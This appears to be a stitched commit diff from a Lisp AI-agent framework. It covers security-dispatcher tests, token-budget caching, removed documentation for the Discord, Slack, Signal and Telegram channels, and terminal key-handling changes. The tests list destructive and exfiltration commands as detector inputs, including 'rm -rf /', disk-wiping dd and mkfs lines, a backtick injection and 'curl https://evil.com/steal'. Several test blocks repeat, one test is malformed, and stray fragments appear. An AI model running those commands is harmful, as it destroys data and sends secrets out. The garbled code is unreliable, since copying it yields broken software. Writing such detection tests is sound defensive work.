(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
(in-suite dispatcher-suite)
(test test-wildcard-match
"Contract 1: wildcard pattern * matches any characters."
(is (wildcard-match "*.env" ".env"))
(is (wildcard-match "*.env" "prod.env"))
(is (wildcard-match "*credential*" "my-credential-file"))
(is (wildcard-match "*.key" "id_rsa.key"))
(is (not (wildcard-match "*.env" "config.yaml"))))
(test test-check-secret-path
"Contract 2: dispatcher-check-secret-path matches protected patterns."
(is (dispatcher-check-secret-path ".env"))
(is (dispatcher-check-secret-path "id_rsa"))
(is (not (dispatcher-check-secret-path "README.org"))))
(test test-self-build-core-protection
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
;; Core paths are recognized
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
;; With SELF_BUILD_MODE=true, core writes produce approval-required
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let ((result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
;; With SELF_BUILD_MODE=false (default), writes pass through
(let ((result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type))))))
(test test-check-shell-safety
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
(is (dispatcher-check-shell-safety "rm -rf /"))
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
(is (not (dispatcher-check-shell-safety "echo hello world")))
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
(test test-shell-safety-severity-catastrophic
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
(is (eq :catastrophic (getf r1 :severity)))
(is (eq :catastrophic (getf r2 :severity)))))
(test test-shell-safety-severity-dangerous
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
(is (eq :dangerous (getf result :severity)))))
(test test-shell-safety-severity-safe
"Contract 3/v0.4.3: harmless commands return nil."
(is (null (dispatcher-check-shell-safety "echo hello world")))
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
(test test-dispatcher-severity-max
"dispatcher-severity-max returns the higher tier."
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
(test test-check-privacy-tags
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
(is (dispatcher-check-privacy-tags '("@personal")))
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
(test test-check-network-exfil
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
(is (not (dispatcher-check-network-exfil "echo hello"))))
;; ── v0.7.2 Tag Stack ──
(test test-tag-categories-load
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
(passepartout::tag-categories-load)
(let ((cats passepartout::*tag-categories*))
(is (>= (length cats) 1))
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
(test test-privacy-severity-block
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
(setf passepartout::*tag-categories* '(("@personal" . :block)))
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
(test test-privacy-severity-warn
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
(test test-privacy-severity-nil
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
(setf passepartout::*tag-categories* nil)
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
(test test-tag-trigger-record
"v0.7.2: tag-trigger-record increments per-tag count."
(clrhash passepartout::*tag-trigger-count*)
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@personal")
(passepartout::tag-trigger-record "@draft")
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
(clrhash passepartout::*tag-trigger-count*))
(test test-tag-categories-privacy-fallback
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
(sb-posix:unsetenv "TAG_CATEGORIES")
(passepartout::tag-categories-load)
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :block (passepartout::tag-category-severity "@draft")))
;; Restore
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
(passepartout::tag-categories-load)))
(test test-safe-tool-read-only-auto-approve
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "test-ro-tool"
:description "Read-only test"
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p t))
:read-only-p nil))
(unwind-protect
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
(result (dispatcher-check action nil)))
(is (eq :REQUEST (getf result :type)))
(is (not (member (getf result :type) '(:LOG :approval-required)))))
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests — Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :shell-safety)
(passepartout::dispatcher-block-record :secret-path)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 3 (getf s :total)))
(let ((by-gate (getf s :by-gate)))
(is (= 2 (cdr (assoc :shell-safety by-gate))))
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
(test test-block-counts-empty
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
(clrhash passepartout::*dispatcher-block-counts*)
(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(remhash "write-file" passepartout::*cognitive-tool-registry*)))

2
lisp/security-vault.lisp
View File

@@ -34,6 +34,8 @@
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))

42
lisp/symbolic-scope.lisp
View File

@@ -166,3 +166,45 @@ until stack is empty or :memex context is reached."
;; Restore persisted context on load
(context-load)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-context-tests
(:use :cl :passepartout)
(:export #:context-suite))
(in-package :passepartout-context-tests)
(fiveam:def-suite context-suite :description "Context manager verification")
(fiveam:in-suite context-suite)
(fiveam:test test-push-pop-context
"Contract 1-2: push-context and pop-context maintain stack order."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when stack-var
(setf (symbol-value stack-var) nil)
(push-context :project "testapp" :base-path "/tmp" :scope :project)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
(pop-context)
(fiveam:is (null (symbol-value stack-var))))))
(fiveam:test test-context-save-load
"Contract 3-4: context-save and context-load round-trip."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when (and stack-var pf-var)
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
(setf (symbol-value pf-var) tmpfile)
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
(context-save)
(fiveam:is (probe-file tmpfile))
(setf (symbol-value stack-var) nil)
(context-load)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))

0
tests/system-integration-tests.lisp → lisp/system-integration-tests.lisp
View File

189
lisp/token-economics.lisp
View File

@@ -3,9 +3,7 @@
(defvar *prompt-prefix-cache* (cons nil "")
"Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
:identity-tokens 0 :tool-tokens 0 :context-tokens 0
:log-tokens 0 :config-tokens 0 :time-tokens 0)
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
"Context assembly cache: metadata + last rendered context string.")
(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
@@ -66,9 +64,7 @@ with trimmed sections."
(ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(labels ((ct (s) (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) s)
(ceiling (length s) 4)))
(labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
(total-tokens (p c l u m)
(+ (ct p)
(if c (ct c) 0)
@@ -106,22 +102,6 @@ with trimmed sections."
(getf *context-cache* :memory-timestamp) 0
(getf *context-cache* :rendered) ""))
(defun context-usage-percentage ()
"Returns integer 0-100: current token budget consumption.
Returns nil when no context cache data is available."
(let* ((limit (or (ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384))
(tokens (+ (or (getf *context-cache* :identity-tokens) 0)
(or (getf *context-cache* :tool-tokens) 0)
(or (getf *context-cache* :context-tokens) 0)
(or (getf *context-cache* :log-tokens) 0)
(or (getf *context-cache* :config-tokens) 0)
(or (getf *context-cache* :time-tokens) 0))))
(if (> tokens 0)
(min 100 (floor (* 100 tokens) limit))
nil)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -220,168 +200,3 @@ Returns nil when no context cache data is available."
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src* v0.8.0 Tests — Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-token-economics-tests
(:use :cl :fiveam :passepartout)
(:export #:token-economics-suite))
(in-package :passepartout-token-economics-tests)
(def-suite token-economics-suite
:description "Prompt prefix caching, incremental context, token budget")
(in-suite token-economics-suite)
(test test-prompt-prefix-cached-identity
"Contract 1: prompt-prefix-cached includes identity-content when provided."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached
"Agent" "### Mode: concise" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "Mode: concise" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-builds
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-hits
"Contract 1: second call with same inputs returns cached result."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (string= p1 p2))))
(test test-prompt-prefix-cached-miss
"Contract 1: different inputs rebuild the cache."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
(is (not (string= p1 p2)))
(is (search "Bot" p2))))
(test test-context-assemble-cached-skips-heartbeat
"Contract 2: heartbeat sensors skip context assembly, return nil."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :heartbeat)))
(is (null result))))
(test test-context-assemble-cached-skips-delegation
"Contract 2: delegation sensors also skip assembly."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :delegation)))
(is (null result))))
(test test-context-assemble-cached-non-skip
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :user-input)))
(is (stringp result))
(is (> (length result) 0))))
(test test-enforce-token-budget-passthrough
"Contract 3: under-budget prompts pass through unchanged."
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
(is (string= "hi" p))
(is (string= "ctxt" c))
(is (string= "log" l))
(is (string= "user" u))
(is (null m))))
(test test-enforce-token-budget-trims
"Contract 3: over-budget prompts get trimmed."
(let ((big-prefix (make-string 20000 :initial-element #\x)))
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
(declare (ignore p l u m))
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
(is (or (stringp c) (null c)))
(is (search "[Context trimmed" (or c ""))))))
(test test-token-economics-initialize
"Contract 4: initialize zeroes all cache state."
(setf (car passepartout::*prompt-prefix-cache*) 12345
(cdr passepartout::*prompt-prefix-cache*) "stale")
(setf (getf passepartout::*context-cache* :rendered) "stale context")
(passepartout::token-economics-initialize)
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src* v0.8.0 Tests — Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))

6
org/channel-cli.org
View File

@@ -10,7 +10,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
with ~:source :CLI~ and injects into the pipeline via
~stimulus-inject~.
~inject-stimulus~.
* Implementation
@@ -24,7 +24,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
#+begin_src lisp
(defun channel-cli-input (text)
"Processes raw text from the command line."
(stimulus-inject (list :type :EVENT
(inject-stimulus (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))
#+end_src
@@ -69,4 +69,4 @@ depending on FiveAM macro resolution in the jailed package.
(handler-case
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
#+end_src
#+end_src

24
org/channel-discord.org
View File

@@ -7,30 +7,6 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
* Overview
The Discord channel provides bidirectional communication via the Discord REST API
and Gateway WebSocket. Messages received from Discord channels are injected into
the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
messages route through the actuator registry when the pipeline targets ~:discord~.
The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
from the credentials vault (~vault-get-secret :discord~). HITL commands are
intercepted before injection so approval flows work identically across all channels.
** Contract
1. (discord-get-token): returns the Discord bot token from the vault
(via ~vault-get-secret :discord~), or nil if not configured.
2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
injects each non-bot message as a ~:user-input~ stimulus with
~:source :discord~. Handles JSON parse failures and API errors
gracefully. HITL commands are intercepted before injection.
3. (discord-send action context): sends a message via POST /channels/{id}/messages.
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
authentication. Logs send failures without crashing the pipeline.
* Implementation
#+begin_src lisp

2
org/channel-shell.org
View File

@@ -132,4 +132,4 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
(result (passepartout::actuator-shell-execute action nil)))
(is (stringp result))
(is (search "hello" result :test #'char-equal))))
#+end_src
#+end_src

25
org/channel-signal.org
View File

@@ -7,31 +7,6 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic.
* Overview
The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool.
Messages received from Signal contacts are injected into the cognitive pipeline
as ~:user-input~ signals with ~:source :signal~. Outbound messages route through
the actuator registry when the pipeline targets ~:signal~.
The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~
(outbound actuator). Both retrieve the Signal account identifier from the
credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before
injection so approval flows work identically across all channels.
** Contract
1. (signal-get-account): returns the Signal phone number from the vault
(via ~vault-get-secret :signal~), or nil if not configured.
2. (signal-poll): queries ~signal-cli receive --json~ for new messages,
injects each non-system message as a ~:user-input~ stimulus with
~:source :signal~. Handles JSON parse failures and network errors
gracefully (logs and continues). HITL commands are intercepted before
injection.
3. (signal-send action context): sends a message via ~signal-cli send~.
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
failures without crashing the pipeline.
* Implementation
#+begin_src lisp

25
org/channel-slack.org
View File

@@ -7,31 +7,6 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic.
* Overview
The Slack channel provides bidirectional communication via the Slack Web API
(chat.postMessage for outbound, conversations.history for inbound polling).
Messages from Slack channels are injected into the cognitive pipeline as
~:user-input~ signals with ~:source :slack~. Outbound messages route through
the actuator registry when the pipeline targets ~:slack~.
The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~
(outbound actuator). Both retrieve the bot token from the credentials vault.
HITL commands are intercepted before injection so approval flows work identically
across all channels.
** Contract
1. (slack-get-token): returns the Slack bot token from the vault
(via ~vault-get-secret :slack~), or nil if not configured.
2. (slack-poll): polls configured channels via conversations.history,
injects each non-bot message as a ~:user-input~ stimulus with
~:source :slack~. Handles API errors gracefully. HITL commands are
intercepted before injection.
3. (slack-send action context): sends a message via chat.postMessage.
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer
token authentication. Logs send failures without crashing the pipeline.
* Implementation
#+begin_src lisp

27
org/channel-telegram.org
View File

@@ -7,33 +7,6 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
* Overview
The Telegram channel provides bidirectional communication via the Telegram Bot
API. Messages from Telegram chats are injected into the cognitive pipeline as
~:user-input~ signals with ~:source :telegram~. Outbound messages route through
the actuator registry when the pipeline targets ~:telegram~.
The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
Both retrieve the bot token from the credentials vault. The polling offset
(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
poll cycles. HITL commands are intercepted before injection so approval flows
work identically across all channels.
** Contract
1. (telegram-get-token): returns the Telegram bot token from the vault
(via ~vault-get-secret :telegram~), or nil if not configured.
2. (telegram-poll): polls getUpdates with offset tracking (prevents
duplicate processing), injects each message as a ~:user-input~ stimulus
with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
API and JSON parse errors gracefully. HITL commands are intercepted
before injection.
3. (telegram-send action context): sends a message via sendMessage.
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
failures without crashing the pipeline.
* Implementation
#+begin_src lisp

47
org/channel-tui-main.org
View File

@@ -34,10 +34,19 @@ Event handlers + daemon I/O + main loop.
#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-main.lisp
(in-package :passepartout.channel-tui)
(defun on-key (ch)
(cond
;; v0.7.1: Esc — interrupt streaming
((and (eq ch :escape) (st :streaming-text))
(defun on-key (&rest args)
;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
;; backspace). Croatoan's code-key + key-name convert them to keywords
;; so the cond below can use eq.
(let* ((raw (car args))
(ch (if (and (integerp raw) (> raw 255))
(let* ((k (code-key raw))
(name (and k (key-name k))))
(or name raw))
raw)))
(cond
;; v0.7.1: Esc — interrupt streaming
((and (eql ch 27) (st :streaming-text))
(send-daemon (list :type :event :payload '(:action :cancel-stream)))
(when (> (length (st :messages)) 0)
(let ((idx (1- (length (st :messages)))))
@@ -560,17 +569,17 @@ Event handlers + daemon I/O + main loop.
(input-delete-char)
(setf (st :dirty) (list nil nil t)))
;; Left arrow
((eq ch :left)
((or (eq ch :left) (eql ch 260))
(when (> (or (st :cursor-pos) 0) 0)
(decf (st :cursor-pos))
(setf (st :dirty) (list nil nil t))))
;; Right arrow
((eq ch :right)
((or (eq ch :right) (eql ch 261))
(when (< (or (st :cursor-pos) 0) (length (st :input-buffer)))
(incf (st :cursor-pos))
(setf (st :dirty) (list nil nil t))))
;; Up arrow
((eq ch :up)
((or (eq ch :up) (eql ch 259))
(let* ((h (st :input-history)) (p (st :input-hpos)))
(when (and h (< p (1- (length h))))
(incf (st :input-hpos))
@@ -578,7 +587,7 @@ Event handlers + daemon I/O + main loop.
(reverse (coerce (nth (st :input-hpos) h) 'list)))
(setf (st :dirty) (list nil nil t)))))
;; Down arrow
((eq ch :down)
((or (eq ch :down) (eql ch 258))
(when (> (st :input-hpos) 0)
(decf (st :input-hpos))
(let ((h (st :input-history)))
@@ -588,25 +597,23 @@ Event handlers + daemon I/O + main loop.
nil))
(setf (st :dirty) (list nil nil t)))))
;; PageUp — scroll back by page (10 lines)
((eq ch :ppage)
((or (eq ch :ppage) (eql ch 339))
(let ((max-offset (max 0 (- (length (st :messages)) 1))))
(setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10))))
(setf (st :dirty) (list nil t nil)))
;; PageDown — scroll forward by page
((eq ch :npage)
((or (eq ch :npage) (eql ch 338))
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10)))
(setf (st :dirty) (list nil t nil)))
;; Printable
(t
(let ((chr (typecase ch
(character ch)
((integer 32 126) (code-char ch))
(keyword (let ((s (string ch)))
(and (= (length s) 1) (char-downcase (char s 0)))))
(t nil))))
(let ((chr (typecase ch
(character ch)
(integer (code-char ch))
(t nil))))
(when (and chr (graphic-char-p chr))
(input-insert-char chr)
(setf (st :dirty) (list nil nil t)))))))
(setf (st :dirty) (list nil nil t))))))))
;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
(defun resolve-hitl-panel (decision)
@@ -837,7 +844,7 @@ Event handlers + daemon I/O + main loop.
(let ((prev-fb (cl-tty.rendering:make-framebuffer w h))
(curr-fb (cl-tty.rendering:make-framebuffer w h)))
;; Initial render
(redraw curr-fb w h)
(redraw be curr-fb w h)
(cl-tty.rendering:flush-framebuffer prev-fb curr-fb be)
(rotatef prev-fb curr-fb)
(loop while (st :running) do
@@ -885,8 +892,8 @@ Event handlers + daemon I/O + main loop.
(add-msg :system "Search exited")))
(t (on-key ch)))))))
(when (or (first (st :dirty)) (second (st :dirty)) (third (st :dirty)))
(cl-tty.backend:backend-clear be)
(redraw curr-fb w h)
